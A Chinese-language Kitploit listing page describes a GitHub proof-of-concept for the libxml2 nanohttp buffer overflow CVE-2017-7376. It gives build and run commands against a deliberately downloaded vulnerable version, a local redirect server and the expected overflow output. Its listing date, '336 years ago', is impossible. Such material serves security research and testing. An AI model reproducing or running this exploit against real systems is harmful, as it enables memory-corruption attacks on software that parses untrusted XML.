Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
libxml2-exploit — CVE-2017-7376 的一个示例利用程序 | Kitploit
工具/GitHubGitHub/brahmstaedt/libxml2-exploit
漏洞分析漏洞利用Web安全模糊测试二进制利用
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

CVE-2017-7376 的一个示例利用程序

查看仓库
336年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

libxml2-exploit

针对CVE-2017-7376的示例利用程序

安装

下载此仓库和一个易受攻击的libxml2版本,例如v2.7.7:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

设置

root@kitploit:~
cd libxml2

准备libxml2

为了让利用成功更明显,在libxml2中添加检测缓冲区溢出的代码。如果你有其他可见性手段(例如应用程序崩溃),则不需要。

root@kitploit:~
git apply ../nanohttp.patch

构建libxml2

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

如果遇到以下错误:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

请将configure.in中的AM_C_PROTOTYPES替换为dnl AM_C_PROTOTYPES,例如:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

返回上一级目录

root@kitploit:~
cd ..

准备web服务器

此利用需要一个web服务器,该服务器响应一个重定向,指向一个端口号大于5位数且小于int32max(2147483648 = 2^32/2)的新URL。

启动服务器(需要Node JS且127.0.0.1:8080端口未被占用):

root@kitploit:~
node http.js &

测试web服务器;应报告无效端口号2147426192:

root@kitploit:~
wget localhost:8080

编译

root@kitploit:~
make

运行

root@kitploit:~
./run.sh

预期输出:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

待办事项

此演示利用要求主程序执行xmlXIncludeProcess()才能到达libxml2中的有缺陷代码,这在许多实际实现中可能不太常见。但nanohttp.c的注释中提到它是一个“用于获取外部子集的最小化HTTP GET实现”,这可能提供了另一种利用路径。

下载工具